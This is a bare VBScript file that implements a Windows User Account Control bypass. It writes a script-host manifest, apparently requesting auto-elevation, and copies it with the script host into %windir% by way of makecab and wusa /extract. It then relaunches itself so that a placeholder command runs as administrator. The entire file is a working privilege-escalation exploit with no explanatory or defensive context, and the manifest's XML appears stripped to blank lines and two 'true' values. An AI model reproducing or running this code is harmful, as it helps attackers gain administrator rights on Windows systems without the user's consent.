Option Explicit Dim oWs: Set oWs = CreateObject("WScript.Shell") Dim oFso: Set oFso = CreateObject("Scripting.FileSystemObject") Dim HOST_MANIFEST: HOST_MANIFEST = _ "" & vbCrLf & _ "" & vbCrLf & _ " " & vbCrLf & _ " " & vbCrLf & _ " " & vbCrLf & _ " " & vbCrLf & _ " " & vbCrLf & _ " " & vbCrLf & _ " " & vbCrLf & _ " " & vbCrLf & _ " " & vbCrLf & _ " true" & vbCrLf & _ " true" & vbCrLf & _ " " & vbCrLf & _ " " & vbCrLf & _ "" Sub Copy(ByVal sSource, ByVal sTarget) Dim sTempFile: sTempFile = GetTempFilename() oWs.Run "makecab """ & sSource & """ """ & sTempFile & """", 0, True oWs.Run "wusa """ & sTempFile & """ /extract:" & sTarget, 0, True oFso.DeleteFile sTempFile End Sub Sub Elevate() Const WINDIR = "%windir%" Dim sPath: sPath = Left(WScript.ScriptFullName, _ InStrRev(WScript.ScriptFullName, "\")) Dim sHost: sHost = Right(WScript.FullName, 11) Dim sManifest: sManifest = sPath & sHost & ".manifest" Dim oStream: Set oStream = oFso.CreateTextFile(sManifest) oStream.Write HOST_MANIFEST oStream.Close Copy sManifest, WINDIR Copy WScript.FullName, WINDIR oWs.Run WINDIR & "\" & sHost & " """ & WScript.ScriptFullName & """ /RESTART" oFso.DeleteFile sManifest End Sub Function GetTempFilename() Const vbTemporaryFolder = 2 Dim sTempFolder: sTempFolder = oFso.GetSpecialFolder(vbTemporaryFolder) GetTempFilename = oFso.BuildPath(sTempFolder, oFso.GetTempName()) End Function Sub RunAsAdmin() oWs.Run "COMMAND" End Sub If WScript.Arguments.Named.Exists("RESTART") Then RunAsAdmin Else Elevate End If